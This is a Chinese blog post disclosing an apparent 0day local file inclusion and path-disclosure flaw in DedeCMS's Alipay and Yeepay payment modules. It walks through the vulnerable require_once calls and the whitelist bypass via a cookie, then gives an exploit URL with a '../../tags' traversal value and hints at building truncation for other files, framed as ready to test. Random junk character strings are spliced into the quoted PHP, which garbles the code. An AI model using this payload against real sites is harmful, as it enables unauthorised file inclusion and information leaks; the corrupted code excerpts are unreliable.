dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
. _* b: d4 H7 b5 z1 Z9 V# `# uInclude/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
# \1 H) ~  S& \/ C2 T6 o
! o$ l' E# t- q4 V) Y& [Include/payment/alipay.php

8 T! r. E) }* b/ g' C; U......
   function respond()
    {
        if (!empty($_POST))
  @9 f2 Z/ j" F; Q9 r        {
) j6 @. e+ o$ s            foreach($_POST as $key => $data)
1 _! P' s' H1 F9 I' o            {
                $_GET[$key] = $data;
" o# z# s9 j9 V8 n/ O; i' E            }
        }
$ `# V$ ~" @6 x* C4 k4 M: c+ b' `        /* 引入配置文件 */
# p5 e1 `5 J) C' T8 J2 `        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......

4 z" |/ ^5 s3 n& L; M9 [
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

' f3 t5 C8 O9 A+ z; k! L7 fInclude/payment/yeepay.php



......
8 p* {7 `9 v2 A" b    function respond()
. x3 [! U; k( S, Z    {
4 B. Y: q# p. W$ Z/ M
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
0 p8 q) y0 D1 d7 i/ o
        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......
% H1 A, Q# ?" q- i) `2 h



3 ?' U6 _! i/ q2 D5 C& S5 A大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
- S' g+ R1 F8 T4 ~
这两个方法在plus/carbuyaction.php文件调用。
/ r5 h2 T+ I0 M% E. ~2 z$ \
plus/carbuyaction.php

......
} else if ($dopost == 'return') {
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
    {
        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
$ n" a' T9 d5 I  f! K, v        $msg=$pay->respond();
4 W6 f  E# U4 C2 p. o9 f3 d- B0 A        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
* i/ D' ~* K5 z4 Y7 `    } else {
: m' h3 L3 g; J  e% S" F7 r        exit('Error:File Type Can\'t Recognized!');
    }
( D  r/ ^8 i5 x% j( E5 Z2 a, L) H}
) J8 t& l, m+ m1 Y......



* y! f( e* c. O" p8 A
, d. ?# `8 F2 R: I# @* J8 N' C) ~; o

6 u0 s4 J" O7 V9 \  @大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
  @# m( G1 ^' I
回到include/common.inc.php来看看他的机制。



$ T) B& [3 P% @9 I, j6 H) r, ~......
; z/ y% H! X% i: k9 E- xforeach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
9 a0 ~1 g3 A- G: |, u+ Q5 p+ b                if($_k == 'nvarname') ${$_k} = $_v;
! j- I+ M6 ^- S0 R                else ${$_k} = _RunMagicQuotes($_v);
# [+ A' O! @* g1 G* ~4 Z2 |        }
; v4 B  W+ G. p3 s! t}
......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。